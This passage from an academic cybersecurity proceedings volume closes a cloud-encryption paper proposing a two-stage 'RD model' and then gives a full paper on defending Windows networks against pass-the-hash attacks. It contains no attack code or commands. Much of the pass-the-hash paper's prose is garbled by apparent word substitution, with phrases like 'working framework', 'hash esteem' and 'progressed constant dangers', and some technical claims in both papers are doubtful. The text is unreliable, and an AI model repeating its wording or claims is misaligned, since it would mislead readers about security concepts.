should not be alleged for any data loss. It generally is very difficult to track down
the security measures in a cloud environment. The current cloud service providers
have introduced and placed many complicated methods and trained staff for sus-
taining their systems. Due to this, there are various security benefits like data
centralization, data backup, incident response, logging, etc., available. Though it
shows the presence of many security features, cloud computing still addresses
major key security issues and challenges, like data segregation, usage of compro-
mised servers, certificates and auditing security, investigating an illegal undertak-
ing, and many more.
Cloud computing has become a most important development in IT. Enterprises
should acclimatize to the diversifications it brings to maximize the return on
investment. To assist organizations worldwide, International System Audit and
Control Association (ISACA) has identified critical issues which need operational
methods like effectively organizing risks, being transparent with the third party
about the enterprise policies, handling myriad regulations and adapting competently
[12]. In spite of several measures and steps for cloud security, the cloud has
exclusive features that involve endangering evaluation in fields like availability
170 D. H. Parekh and R. Sridaran

issues, data integrity, reliability problems, data recovery, and privacy and auditing,
as stated in Gartner [13].
Cloud computing, thus, as concluded, has a huge number of security issues and
challenges [14]. An elaborated record of security threats on the basis of the
deployment and service models of cloud computing is presented and discussed in
detail in [15]. Security, in general, to technology, is broadly standardized for
evaluation of data systems security, focusing on three central goals of CIA,
essentially known as, Confidentiality, Integrity, and Availability.

• Confidentiality
Confidentiality refers the access of restricted data only to authorized users and
ceasing access of such protected data from unauthorized users. Confidentiality aims
at authentication procedures like user-ids and passwords that solely recognize data
users and sustaining procedures that hamper each recognized user’s get access to
the system’s resources. But as there is augmented the quantity of parties, devices,
and applications occupied on cloud, the threat compromised data grow substantially
as the multiple access points come into existence. Such an increase in data usage
leads to problems with multi-tenancy, applications security, data remnants, and
privacy [16].
Cloud service providers usually are using a weak authentication mechanism that
involves username and password and the access controls, i.e., authorization, is at a
very coarse level, which results in significant security threats. To address these
security threats and to answer the cloud protection, in essence, there is a use of
encryption technique [17]. Encryption of data is carried out based on encryption
algorithm and is dependent on key strength. The encryption carried out even
depends on the cloud service providers; for example, EMC provides encryption
facility to the customer data while Amazon’s S3 does not provide any kind of
encryption to customer data but instead customer’s before uploading the data can
encrypt the data on their own.
The encryption of data for the purpose of providing confidentiality to customer
data primarily involves use of encryption algorithm. There are many encryption
algorithms present but not all are fashioned equal [18]. Cryptographically, many
algorithms are insufficient to provide the desired security. Algorithms that are
evaluated by formal standard bodies like NIST or informally by the cryptographic
community must be used. Next, the key length for encrypting data must be con-
sidered. It is essential to know that larger the key length, stronger is the encryption.
For the NIST-approved algorithms like 3 DES (Triple Data Encryption Standard)
minimum length should be of 112 bits, which will be shown in the proposed model.

• Integrity
Integrity is the next security aspect required for confidentiality. Integrity simply
means that consumer assets can be customized only by the authenticated users and
in an authorized way only. When it comes to data storage, maintaining data
Mitigating Cloud Security Threats … 171

integrity aspect is the obvious requirement. Data integrity ensures that no illicit or
illegal modification, deletion, or fabrication of data is allowed and originality of
data remains intact [19]. By keeping a check on the unauthorized access, organi-
zation attains greater confidentiality in terms of data integrity. Moreover, integrity
also helps in accountability of data modification, data deletion or any constructed
data, to find the potential source of such intrusion.
Data encryption is a solution for confidentiality but there should be a mechanism
to assure and verify the data that is decrypted by the recipient. This is taken care of
data integrity which uses message authentication codes tagged with the encrypted
data. These message authentication codes work as a hash function which will ensure
that the data that gets decrypted in the original sent message of the sender [20].

• Availability
The huge accessibility computing community has pursued a mantra that no par-
ticular source of failure should be observed, yet the administration of a cloud
examine by a lone company is, in fact, a distinct point of failure [21]. Availability
refers to every entity that comes when we talk about cloud. It targets the availability
of data in cloud, states the availability of the cloud service provider, system
availability and even talks about the availability of network level security mecha-
nism to ensure data security. Hence, availability is not only about data presence in
the cloud. Network is now getting highly congested and, therefore, need to assure
clients that the data will be available to them dynamically at any point of instance.
System availability involves the ability of system to continue with functioning in
a proper and accurate manner even when there is any kind of authority misbehaves
noticed. In spite of any security breach is identified, system should be able to carry
its operations as though normal. Cloud services show a severe reliance on the
resource infrastructures and network accessibility at all times [22].
Business critical applications generally rely on continuous and constant
delivery of services without a gap of any time. A simple service outage only for
few minutes can have a serious impact on the productivity of the enterprise. It can
also result in customer dissatisfaction and service-level disobedience. According
to the Cloud Computing Incidents Database (CCID) [23], which trails cloud
service outages, chief cloud service providers have undergone downtime ranging
from just minutes to hours. Moreover, relying on the rigorousness of the
occurrence and the extent of the exaggerated infrastructure, outages may involve
all or a few of clients. During a cloud service commotion, harmed clients will not
be in condition to contact the services and in a few cases can even experience
tainted presentation [24].
Apart from security concerns based on CIA, there are still many more other
concerns like privacy, data segregation, data storage, reliability, security, and data
leakage. But out of all, security is the major one where most of the researchers work
in the direction to secure cloud more day by day. To ensure the best security,
generally data transfer from host to server and vice versa happens with encryption
algorithms. Let us take a close look at few of the encryption algorithms.
172 D. H. Parekh and R. Sridaran

4 Encryption Algorithms Used to Ensure Cloud Security

Earlier when data was stored on-premise, security measures were levied across the
institute, as the data used to be always on the traditional server residing in the
organization itself. But gradually, when we have started migrating on the cloud,
which is global, an essential security check to ensure data integrity, privacy, and
availability have become a major concern. To avoid the flaws, strong encryption
techniques are being implemented [25]. Below mentioned are kinds of encryption
algorithms used to ensure data security on cloud.
• RSA Algorithm:
This is the most commonly known algorithm, named after Rivest, Shamir, and
Adleman, the discoverer. It is a kind of asymmetric algorithm where an encryption
key is shared publicly to all but for encrypting a message, but the decryption key is
kept private and not publically. Moreover, RSA is a block cipher where each
message is charted in an integer. When used on the cloud, a cloud service provider
does the encryption of data, place the key publically and the user who accesses this
data from cloud, will decrypt it through a private key. RSA algorithm is found to be
secure only for the users, but doesn’t provide scalability and uses more of memory
space which is basic problems with RSA [26].
• DES Algorithm:
DES stands for Data Encryption Standard. It is a symmetric block cipher algorithm.
In this, data is encrypted in 64 bits of block size. Hence, 64 bits of data is input and
encrypted to 64 bits of cipher text. DES also ensures security at both the ends and is
scalable also. But it requires more memory space as compared to AES algorithm
[27].
• 3DES Algorithm:
3DES utilizes three occurrences of DES with different keys. It is deemed to be
secure because it needs operations enumerated to 2^112 to break it and none of the
recent technologies make it possible within the harmful duration of time. It is
inherently slow in case of of implementations, as it was premeditated to perform
on-chip rather than by chip [28]. Block diagram of Triple DES implementation is as
shown in Fig. 1 [29].

Fig. 1 Block diagram of

TDES
Mitigating Cloud Security Threats … 173

• AES Algorithm:
AES stands for Advanced Encryption Standard, and is a symmetric block cipher
kind of algorithm, used maximum nowadays. AES follows 128-bit key length for
encryption. In this type of algorithm, a data when is about to be stored on cloud by
the data generator, it is encrypted first and then this encrypted data is stored on
cloud. When any end users would like to use this data, the decryption takes place at
the data generator’s end and then only the users will be able to read data on their
side. AES is found to be highly scalable and is also providing security at both the
ends, i.e., users and the providers. Even the memory usage for AES kind of
encryption is found very low [30].
• Blowfish Algorithm:
Blowfish is a symmetric key cryptographic algorithm. It encrypts blocks of size 64
bits with a changeable length key of size 128–448 bits. Blowfish is suitable for
those applications where the key does not change frequently but remains constant
for a very long time. Blowfish is also secured for both the users and the providers,
and is also scalable. It is providing with good authenticity but is less used than AES
[31].
The encryption algorithms are very essential and provide a better mechanism to
secure data on cloud. As data security on cloud is the major concern, and as CIA are
very essential for cloud security, a model proposed below, known as RD Model, is
designed in such a way that it ensures all three very diligently.

5 Proposed RD Model

An RD Model is proposed with its architecture, depicted in Fig. 2, for communi-

cation between client and server, from client side. A similar reverse channel would
exist from server to client communication. The model takes the data from the client
in respective protocol as chosen by the client, and takes it into the defined
encryption stages as below:
Step 1: Encryption Stage 1:
A random or pseudorandom pattern is generated to be used as key for the first time
only. Later on, in the next cycles this key can be provided by the other party and
may also be used to acknowledge previous communication. It will also check
integrity of the complete path.
Step 2: Scrambling of data:
In this step, the key and the data are scrambled together which would generate
another set of pseudorandom stream.
174 D. H. Parekh and R. Sridaran

Fig. 2 Proposed RD model

Step 3: Encryption stage 2:

This is the normally used Public-Key Infrastructure (PKI), which uses a symmetric
or an asymmetric keying technique as available in the network.
Step 4: Data stream in the cloud:
After the encryption stage 1 of the sender’s data, scrambled data with further
encryption using PKI will now be transmitted over the cloud.
Step 5: Decryption stage 2:
This stage is the corresponding complementary stage for encryption stage 2 as
depicted in step 3.
Step 6: Unscrambling of data and key:
The unscrambling will be in perfect coordination to the pseudorandom scrambling
of the data and the key done in step 2. In this stage, the scrambled key is extracted
and retrieved accurately.
Step 7: Decryption stage 1:
It contains the exact complementary decryption algorithm as discussed in step 1 and
it retrieves the data sent using the key extracted in previous step.
Step 8: Guarantee check on CIA Rules:
Using the key extracted in the step 6, the receiver will check the integrity and
authenticity of the received data. This will ensure that only proper data is processed
further. If the receiver, based on the preset rules decides that the received data is
Mitigating Cloud Security Threats … 175

objectionable, the data is discarded to avoid further processing. If such a case

occurs, a certain set of actions can be levied upon by the receiver which may
include a retransmission request or in a worse-case request to login again by session
termination.
The security deployed by this algorithm in terms of CIA of the communication
far surpasses the disadvantage it suffers from, a comparatively larger overhead in
terms of time. The choice of several algorithms in encryption and decryption in the
stages and usage of different scrambling mechanisms further ensure the CIA of the
communication stream. The process is transparent to the end users making it hard to
decipher the algorithm sequence due to the most common security threat, the users
themselves. The response sequence can be reutilized as keys for next sequence of
data streams as encryption key in Step 1 which also ensures the increased efficiency
over a communication and this in turn also works as the logical link between
sending and receiving machines to optimize the data flow as well as detection of
hidden threats.

6 Conclusion and Future Work

In this paper, an RD model is proposed which uses the first-level encryption fol-
lowed by scrambling and second-level encryption is carried out. As data security in
cloud computing is the most sensitive issue and is seeking utmost attention by
researchers, this paper aims at finding a solution for data security implementing
second-level encryption and scrambling of data. It also has depicted that the 2-level
data decryption ensures data confidentiality integrity and availability at a successful
results. The model is designed in MATLAB with implementation of 3DES algo-
rithm at present. It also shows the use of scrambling and unscrambling of data,
which ensures integrity and authenticity of transmitted data. In future, this model
will be demonstrated on Java platform to implement a real time model, so that data
security is guaranteed on cloud computing world without any doubts on the vul-
nerabilities of cloud.

References

1. Murugesan S (2011) Cloud computing gives emerging markets a lift. IT Pro, IEEE, pp 60–62
2. National Institute of Standards and Technology (2008) Guide for mapping types of
information and information systems to security categories. NIST 800-60
3. Hashizume K et al (2013) An analysis of security issues for cloud computing. J Internet Serv
Appl 4(1):1–13
176 D. H. Parekh and R. Sridaran

4. Zhu W, Luo C, Wang J, Li S (2011) Multimedia cloud computing. IEEE Signal Process Mag
59–69
5. Rimal BP, Choi E, Lumb I (2009) A taxanomy and survey of cloud computing. In: 2009 fifth
international joint conference on INC, IMS and IDC, IEEE, pp 44–51
6. Tangwongsan S, Itthisombat V (2014) A highly effective security model for privacy preserving
on cloud storage. Cloud Comput Intell Syst (CCIS). In: IEEE 3rd international conference
7. Somani U, Lakhani K, Mundra M (2010) Implementing digital signature with RSA
encryption algorithms to enhance the data security of cloud in cloud computing. IEEE
8. Rafique S et al (2015) Web application security vulnerabilities detection approaches: a systematic
mapping study. In: 16th IEEE/ACIS international conference on software engineering, artificial
intelligence, networking and parallel/distributed computing (SNPD). IEEE
9. Fernandes DAB et al (2014) Security issues in cloud environments: a survey. Int J Inf Secur
13(2):113–170
10. GroBauer B, Walloschek T, Stocker E (2011) Understanding cloud computing vulnerabilities.
IEEE, pp 50–57
11. Schneiderman R (2011) For cloud computing, the sky is the limit. IEEE Signal Process Mag
15–17
12. Heier H, Borgman HP, Bahli B (2012) Cloudrise: opportunities and challenges for IT
governance at the dawn of cloud computing. In: 45th Hawaii international conference on
system science (HICSS). IEEE
13. Gartner (2008) Assessing the security risks of cloud computing. Gartner
14. Parekh DH, Sridaran R (2013) An analysis of security challenges in cloud computing. In:
IJACSA
15. Cloud Security Alliance (2010) Top threats to cloud computing, Cloud Security Alliance
16. Harauz J, Kaufman LM, Potter B (2009) Data security in the world of cloud computing, IEEE,
pp 61–64
17. Aazam M et al (2014) Cloud of things: integrating internet of things and cloud computing and
the issues involved. 2014 11th international Bhurban conference on applied sciences and
technology (IBCAST)
18. Yu S, Wang C, Ren K, Lou W (2010) Achieving secure, scalable, and fine-grained data
access control in cloud computing
19. Yu S, Ren K, Lou W, Li J (2009) Defending against key abuse attacks in kp-abe enabled
broadcast systems, In: Proceedings of SECURECOMM’09
20. Wang C et al (2010) Privacy-preserving public auditing for data storage security in cloud
computing. In: Proceedings of INFOCOM. IEEE
21. Wang Q et al (2009) Enabling public verifiability and data dynamics for storage security in
cloud computing. In: Computer Security—ESORICS 2009. Springer, Berlin, pp 355–370
22. Armbrust M et al (2010) A view of cloud computing. Commun ACM 53(4):50–58
23. Zhang Q, Cheng L, Boutaba R (2010) Cloud computing: state-of-the-art and research
challenges. J Internet Serv Appl 1(1):7–18
24. Popović K (2010) Cloud computing security issues and challenges. In: MIPRO, proceedings
of the 33rd international convention. IEEE
25. Subashini S, Kavitha V (2011) A survey on security issues in service delivery models of cloud
computing. J Network Comput Appl. Elsevier, pp 1–11
26. Sun D et al (2011) Surveying and analyzing security, privacy and trust issues in cloud
computing environments. Proc Eng 15:2852–2856
27. Buyya R et al (2009) Cloud computing and emerging IT platforms: vision, hype, and reality
for delivering computing as the 5th utility. Fut Gener Comput Syst 25(6):599–616
28. Shao J, He Z (2004) High-speed implementation of 3DES encryption algorithm based on
FPGA. Mod Electron Technol
29. National Institute of Standard and Technology (1999) Data encryption standard (DES)[EB/
OL]. http://www.csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf
Mitigating Cloud Security Threats … 177

30. Sanaei Z et al Heterogeneity in mobile cloud computing: taxonomy and open challenges.
Commun Surv Tutorials 16(1):369–392
31. Xiao Z, Xiao Y (2013) Security and privacy in cloud computing. Commun Surv Tutorials 15
(2):843–859

Author Biographies

Prof. Disha H. Parekh, M.Phil., MCA, PGDBA (Human Resource), is presently an Assistant
Professor of Faculty of Computer Applications at Marwadi Education Foundation’s Group of
Institutions, Rajkot, Gujarat. She has completed her M.Phil. in Computer Science from Bharathiar
University and is at present pursuing Ph.D. in computer science on cloud computing. She did her
MCA from Ganpat University, Gujarat. She even completed PGDBA with a specialization in HR
from Symbiosis University. She has published 3 papers in the International Journal and has
presented 1 paper at National conference. She has attended many workshops and seminars. Her
areas of interest are Software Engineering and Web Technologies.

Dr. R. Sridaran, is currently the Dean, Faculty of Computer Applications, Marwadi Education
Foundation’s Group of Institutions, Rajkot, Gujarat. He did his postgraduation in Computer
Applications and Management. He was awarded Ph.D. in Computer Applications in 2010. Having
started his career as an Entrepreneur, he has offered his consultancy services to various service
sectors. He designed and delivered various training programs in the areas of IT and Management.
He has published 15 research papers in foremost Journals and Conferences and is currently guiding
five research scholars. He has got 22 years of academic experience and has served in principal
educational institutions at diverse capacities.
Analysis and Impact of Different
Mechanisms of Defending
Pass-the-Hash Attacks

Navjyotsinh Jadeja and Madhuri Vaghasia

Abstract Pass-the-hash attack has been around more than 18 years, and founded
roots of its first existence were around 1997. The reason for discussing it again now
is that it has come into forefront in recent times. And with the usage of Internet and
World Wide Web like never before and given the ever increasing use of the Internet
(2 billion users in 2011 with forecasts of another billion users coming online in the
recent 4 years) and excessive use of ubiquitous devices and computing it has
capabilities of affecting the most now. There are always certain machines which are
unpatched or those which can have easy to find opening and to get the different
privileged accesses through them, and now that cloud-based services are used and
major chunk of computers still working on Windows platform, which is most prone
to this kind of attack. It becomes a big threat for cloud services providers as well. In
this paper, we are trying to focus and understand pass-the-hash attack and also
discuss various pros and cons of some of the different approaches. Here, we present
results and approaches proposed by various researchers, and also address the
strengths and weaknesses of the solutions. Albeit extensive advancement has been
made, more research should be done to address this issue. We propose several
defense mechanisms here which are first of their kind and if implemented may
reduce the repercussions of the attack.

Keywords Pass-the-hash attack
Hash attack
Network security

Cloud security

N. Jadeja (&)
M. Vaghasia

Faculty of Engineering, Information Technology,
Marwadi Education Foundation’s Group of Institutions,
Rajkot, Gujarat, India
e-mail: [email protected]
M. Vaghasia
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 179

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_18
180 N. Jadeja and M. Vaghasia

1 Introduction

More and more computers, BYOD (Bring Your Own Device), and clouds expand,
it invites huge number of people accessing Internet. By current numbers, it is
already in billions as per one of the statistics [15]. Before we talk on different
approaches or methods to defend against and reduce the mitigation of pass-the-hash
attack (PTH), “There are two types of companies today, those that have been
hacked and those that don’t know they’ve been hacked” [16]. Generally, passwords
are the most usually utilized security apparatus in the world today. Solid passwords
are the absolutely most imperative part of data security, and weak passwords are the
single biggest disappointments.
As the devices and strategies for credential theft and reuse attacks like the PTH
attack enhance, malignant clients are discovering it to be less demanding to
accomplish their objectives. The PTH attack is a standout among the most prevalent
sorts of qualification theft and reuse attack seen by Microsoft to date. Other per-
sonal information theft attacks incorporate key logging and plaintext secret key
capture, passing tickets, token mimic, and man-in-the-middle attacks. As mentioned
earlier also, there are always certain machines which are unpatched or those which
can have easy to find opening to get the different privileged accesses through them.
This does not mean that we should surrender to attackers or hackers.
But issues with the other types of attacks are also reason for hackers preferring
PTH attack. Password attacks, for example, watchword speculating or watchword
breaking is time-consuming attacks. Devices that make utilization of pre-computed
hashes diminish the time expected to acquire passwords incredibly. Nonetheless,
there is capacity cost and time utilization identified with the era of those precom-
piled tables; this is particularly genuine if the calculation used to create these
passwords is generally solid, and the passwords are mind boggling and long (more
noteworthy than 10 characters) [12].
In a PTH attack, the objective is to utilize the hash straightforwardly without
splitting it. This eradicates the need for password cracking or guessing algorithms
and procedures.

1.1 What Is a Hash?

Before we can investigate the PTH attack, it is key to characterize a hash. For every
client and head account on a framework, the working framework stores the user-
name and a password with a specific end goal to perform authentication. On the
other hand, of putting away the password in clear content, the working framework
utilizes cryptographic hash capacities to make a hash esteem that it stores [20].
Analysis and Impact of Different Mechanisms … 181

At the point when a client tries to authenticate to the framework, the framework
takes the password info by the client, registers its hash esteem, and looks at the
figured hash against the put away hash. On the off chance that the hashes match, the
client is permitted access to the framework.
All the hashes are stored in computers Security Account Manager (SAM) file on
computer. This includes all the values such as individual accounts, administrator
accounts, or in that case any account details on the system.

1.2 What Is a Pass-the-Hash (PTH) Attack?

In this attack, an attacker gets entrance to a client’s nearby regulatory hash and
afterward tries to utilize the hashes traded off from that framework to authenticate to
different frameworks on the system, conceivably obtaining entrance to extra hashes
along the way. The attacker then proceeds with this parallel development of trading
off distinctive frameworks inside of the system, increasing more hashes on each
bargained framework. A definitive objective is to obtain entrance to a special
domain account that can be utilized to get to discriminating servers and information
(Fig. 1).

Fig. 1 Password cracking mechanism using PTH

182 N. Jadeja and M. Vaghasia

1.3 Overview of Challenges

Overview of various challenges is discussed below:

• Credential theft: Most associations do not perceive when hackers/crackers are
inside of the system and have admittance to data. For example, messages,
private records, and other licensed innovation. Social designing and phishing
plans are utilized to trap staff and get their security credentials.
• Control level theft: Once traded off, an assailant has complete control over a
whole system. All data, assets, protected innovation, physical property, and
individual data are in danger. A definitive objective of the hacker/cracker may
be to get entrance to the system.
• Data theft: This does not stop or end with data theft. Step-by-step hierarchy of
authority is also tried to be cracked. As soon as this is achieved, whole systems security
is highly compromised which includes, data, critical information, etc. (Fig. 2).

Fig. 2 Problems faced and

time to reach the server levels
after the theft [12]
Analysis and Impact of Different Mechanisms … 183

2 Related Work

PTH is an attack that allows an attacker to use LM and NTLM hashes for
authentication remote (and local) station without knowing the password and
without breaking these hashes [14]. PTH attacks are no longer limited to only
certain functionalities [13]. They have evolved and are causing the problems in not
only client server environment but also are affecting the cloud networks as well.
Cloud computing is a service-based model, and hence lot of BYOD devices are
used to get the services which makes it vulnerable to the PTH form of attack.
Basic matrices can be utilized to evaluate the danger of presentation to potential
cybersecurity dangers, for example, PTH. It has further demonstrated that on a
fundamental level it is conceivable to process this metric continuously amid the
approval period of network security, hence giving network overseers the capacity to
design a network to minimize, or possibly wipe out introduction to these sorts of
attacks [7].
The attacks themselves are dependable, hard to uncover, and frequently utilize
exceptionally propelled hacking methods. Since they are propelled in nature,
delayed, and constant, the associations behind them need to have an abnormal state
of learning, propelled apparatuses, and skilled faculty to execute them. The attacks
are normally preformed in a few stages—observation, readiness, execution, getting
entrance, data social affair, and association upkeep. In each of the stages, attacks
can be recognized with diverse probabilities. There are a few approaches to expand
the level of security of an association keeping in mind the end goal to counter these
occurrences. Above all else, it is important to instruct clients and framework
chairmen on diverse assault vectors and furnish them with learning and assurance
so that the attacks are unsuccessful. Second, actualize strict security strategies,
which incorporate access control and confinements (to data or network), encrypting
so as to ensure data and introducing most recent security overhauls. At last, it is
conceivable to utilize programming IDS tools to identify such peculiarities [18].
There is also approach of defense in depth which can be used to reduce the threat to
overall system. Dynamic defenses must also be enabled, which change attack
surfaces to proactively defend a network [6].

3 Working of Pass-the-Hass Attack

There are certain set of rules, and requirements shall be met in order for PTH attack
to be successful. On a very basic level, a PTH attack depends on three principles
that are considered as follows:
1. The capacity to pick up administrative rights on the system putting away the
required hashes,
184 N. Jadeja and M. Vaghasia

2. Utilization of the same password on various systems, and

3. Managerial passwords that are infrequently changed.
The capacity to increase local administrative access—An intruder can pick up
local administrative access to a PC by misusing vulnerability on the framework, by
tempting a client into executing malicious code or through different methods.
Normal regulatory passwords—Utilizing the same password for various
managerial accounts is a typical scenario for two reasons. To begin with, when
frameworks are sent in a venture organizes, a base picture is made for both a
workstation also, a server, and that picture is then utilized for each workstation or
server that is sent. Accordingly, the greater part of the standard managerial accounts
inside of the picture—also, their passwords—is engendered to each workstation or
server sent on the system. Second, changing the password for every gadget would
present administration complexities, including the difficulties of keeping up a
record of each diverse password in a safe place and empowering IT staff to get to
those passwords at the point when required.
Static passwords—Because most organizations have an extensive number of
both local and server administrative accounts which numerous individuals need to
access consistently, they frequently keep the authoritative passwords the same,
transforming them just on the off chance that somebody in IT leaves the association.
What is more, even all things considered, they may change just the passwords for
the servers and not those for every individual workstations or systems [10].
There are various security frameworks already suggested to ensure security for the
organizations [5]. But we would like to discuss different approaches to them. PTH
attacks are normally coordinated against Windows frameworks; however, they can be
found in different frameworks, for instance, vulnerable web applications and mobile
applications. For list of such applications, refer SANS, 2008. In Windows operating
environment, PTH attack depends on the Single Sign-On (SSO) functionality in
authentication protocols like NTLM and Kerberos [2]. With SSO, users can enter their
passwords once to be able to use resources they have been given rights to, without
prompting them for their passwords again. This requires the system to have the users’
credentials cached within the system. By replacing this credential with a password
hash (or a ticket), further authentication will be done using this hash instead of the
original credential [8].
SSO with Kerberos is still secure and will work fine and dandy without being
helpless against this PTH attack. This is because this attack has nothing to do with
Kerberos and everything to do with Windows’ finished absence of security as to put
away accreditations [3].
On a Unix/Linux framework, when you get a Kerberos ticket-allowing ticket
store (TGT), it is scrambled utilizing a key that is allotted by the KDC when you
perform a kinit. The ticket reserve is put away in/tmp and claimed/clear just by the
client that made it and root, on the off chance that you let another client read that
document they can mimic you. That is an extremely old issue and it is basically a
tradeoff for some comfort [9] (Fig. 3).
Analysis and Impact of Different Mechanisms … 185

Fig. 3 Pass-the-hash attack in action [14]

3.1 Defending/Preventing Pass-the-Hash Attack

There is no single activity an association can take to keep a PTH attack. Both
Microsoft and the NSA recommend the “Guard in-Depth” approach—they
encourage associations to confine and ensure neighborhood and domain regulatory
accounts through such procedures as making extraordinary local administrative
passwords and executing least privileged access [1]. Moreover, they both prescribe
confining inbound activity what s more, horizontal development on the system with
firewall rule (Fig. 4).
There are several mitigations which can be applied. We have named this as
Defense Mechanism 1, Defense Mechanism 2, and Defense Mechanism 3. They are
the defensive measures we can apply to the system in order to reduce the amount of
influence PTH can cause. After discussing this strategy, we have also suggested
additional measures to avoid compromising of security due to PTH attack, espe-
cially in a cloud-based environment where access of resources and management of
resources are done using various kinds of BYOD devices as well.

Fig. 4 Simplified diagram of NTLM challenge–response authentication protocol

186 N. Jadeja and M. Vaghasia

3.2 Defense Mechanism 1

This mechanism is simple yet very effective. As mentioned earlier, we will have to
restrict the incoming traffic to our servers, by the use of firewalls and other tools.
Tools which act as layer 8 technologies in addition to 7 layers are also available
such as Cyberoam firewall. Many other similar firewalls cum monitoring devices
are available. These devices can play major role.
• What is the aim of this defense mechanism?
The aim is to limit the capacity of hacker/cracker from starting side long
development from a traded off workstation by blocking or scanning incoming
traffic.
• What methods will be deployed?
Confine every single stream of incoming traffic with all workstations aside from
those with expected movement beginning from trusted sources, for example,
helpdesk workstation, etc.
• Resultant Output
Even if the hacker/cracker finds access to any system, he cannot get access to the
any other system in the network or cloud.
• Technical changes if any:
Not required.

3.3 Defense Mechanism 2

This mechanism works on restricting the high privileged account access if any.
• What is the aim of this defense mechanism?
This defense mechanism decreases the danger of admin level people by dividing
the authority levels among several different types.
• What methods will be deployed?
Restrict the access of servers and critical accounts from limited number of
systems. Also, avoid access of such critical accounts or servers from BYOD
devices. Dedicated systems and computers can be assigned to admins. Also, dif-
ferent tasks of admin can be divided into multilevel authorities. No configuration of
services or task scheduling should be done from other than the assigned systems.
Analysis and Impact of Different Mechanisms … 187

• Resultant Output.
No compromise will be made for the attacker to get an access as dedicated
systems are assigned and used. Also, multilevel authorities will reduce the risk.
• Technical changes if any
No technical changes are required just rephrasing and creating the various
policies related to authentication and authority.

3.4 Defense Mechanism 3

This mechanism works on restricting the local accounts from getting administrative
privileges. This means on local workstation; also, the user will not login using
administrator account but will use with his personal login ids.
• What is the aim of this defense mechanism?
This defense mechanism confines the capacity of hacker/cracker to utilize nearby
local systems or their reciprocals for parallel development PTH assaults.
• What methods will be deployed?
Restrict the access of systems from remote location or remote devices. Windows
operating system above vista have this functionality inbuilt. Create different pass-
words for administrative accounts wherever necessary.
• Resultant Output
Even if the hacker/cracker gets the access, rights or passwords will not be able to
login into the network or travel in the network parallely.
• Technical changes if any
Use of security identifiers along with different privileges can be done.
Other than this, various other defense mechanisms can also be applied in order to
reduce the repercussion of the attack. The following are the more defense
mechanisms.
– Chunk the Pass:
As we know, there is not eventually any guard against this attack, but that will
not mean that we cannot do anything at all about it. It is not highly contrasting. It is
just a different variant of gray. As we have seen the system of handicapping
powerless password hashes conflict with APTs (progressed constant dangers),
notwithstanding when the intruders own device work shall right and dandy utilizing
more grounded password hashing function. The intruders or crackers did not realize
that the weaker hashing function was debilitated, so intruders surrendered trying
these attacks.
188 N. Jadeja and M. Vaghasia

The finest guard against these attacks is to keep the intruders from getting super
admin rights to use in any case. Tragically, that includes about each conventional
PC security barrier: slightest benefit client logons, antimalware programming, white
listing, firewalls, etc. Extracting the hashes from the memory can be made a bit
harder. Specifically, in Windows-based system, the hashing function of passwords
can be hauled out of memories for the accompanying logon sorts: intelligent,
cluster, administration, open, remote intuitive, and stored intuitive. That may appear
like each kind of logon you can consider, yet it does exclude system logons.
Likewise, log off procedure on regular basis expels the hash function of pass-
word from memory, in spite of the fact that it can be missing in place by appli-
cations and APIs, so you never know. One way to clear your password hashes out
of memory is to log off from system.
– Disjoin those ties:
We request users to utilize non-intelligent approaches to oversee PCs. Rather
than utilizing RDP (Remote Desktop Protocol), run with a support instrument that
permits you to interface with remote PCs. A large portion of the Microsoft
Management Console (MMC) apparatuses can be re-focused to remote access PCs.
Use PowerShell scripts rather—at any point in time does not ask for sending the
passwords.
A suggestion is disposing of all SuperAdmin from the system or at least reducing
the amount of privileges they have. In active directory setup of Windows system,
“delegation” can be used to give administrators simply the privileges they require
without giving those highest level privileges, for example, with administrator. None
of enterprises or domains prefers this to be done by a single admin handling these
high-level critical operations. Rather, utilize designation and hand out only the
authorizations and benefits important to handle the errands needed for those people.
In case of password hash getting stolen for one of the admins, the level of threat is
still very less comparatively, as the user is not super admin [4].
Other option is to work with OTPs, i.e., one-time passwords or very frequent
change in passwords. So even if the intruder does get the hash for the password, but
the time period to use will be reduced drastically. There are several different types
of tools that can help you in these both tasks. Also, a suggestion is to avoid the
recycle of the passwords on regular basis so the security remains intact [11].
Platform updates are regularly available and are generally automatically on. This
can be represented in summarized form as in Table 1.

4 Conclusion and Future Work

Although PTH attacks proceed to represent a genuine danger for enterprises and
firms, by obtaining entrance to a client’s local administrative hash and traveling
through different workstations all through the network, an attacker can gain access
to a privileged domain account and use it to access critical servers and data. Still if
Analysis and Impact of Different Mechanisms … 189

Table 1 Restrictions NTLM

Policy Objective Setting
Restrict NTLM: Allows you to enable or deny all network NTLM Deny all
Inbound protocol NTLM traffic accounts
Restrict NTLM: Allows you to enable or deny NTLM traffic is Deny
Outbound protocol NTLM routed remote authentication server everything
to remote servers
Restrict NTLM: Allows you to enable or deny authentication Deny All
Authentication protocol Protocol NTLM within the domain of specific accounts
NTLM in this domain domain
Restrict NTLM: Enable or disable checking and recording Prohibit
Audit authentication authentication process on the domain controller
protocol NTLM in this
domain
Restrict NTLM: Impossible to allow or disallow checking and Prohibit
Audit incoming traffic recording incoming NTLM traffic
NTLM

Table 2 Platform updates and features to reduce effect of PTH attack [17]
Features Description Available Available Available Req. domain
on Win—7/ on Win—8/ on upgrade
Windows Windows Windows Windows
Server Server 8.1/Server Server 2012 R2
2008 R2 2012 2012 R2 domain
functional level
Remove LAN LAN manager legacy ✓ ✓ ✓
manager hashes and (reversibly
(LM) hashes and encrypted) plaintext
plaintext passwords are no longer
credentials from stored in LSASS
LSASS
Enforce New mechanisms have ✓ ✓ ✓
credential been implemented to
removal after eliminate session leaks
logoff in LSASS, thereby
preventing credentials
from remaining in
memory
Logon Use the new SIDs to ✓ ✓ ✓
restrictions with block network logon for
new well-known local users and groups by
security account type, regardless
identifiers (SIDs) of what the local
accounts are named
(continued)
190 N. Jadeja and M. Vaghasia

Table 2 (continued)
Features Description Available Available Available Req. domain
on Win—7/ on Win—8/ on upgrade
Windows Windows Windows Windows
Server Server 8.1/Server Server 2012 R2
2008 R2 2012 2012 R2 domain
functional level
Restricted admin The remote desktop ✓ ✓ ✓
mode for remote application and service
desktop have been updated to
connection support authentication
without providing
credentials to the remote
host
Protected users The new protected users ✓ ✓ ✓ ✓
security group security group enables
administrators to restrict
authentication to the
Kerberos protocol only
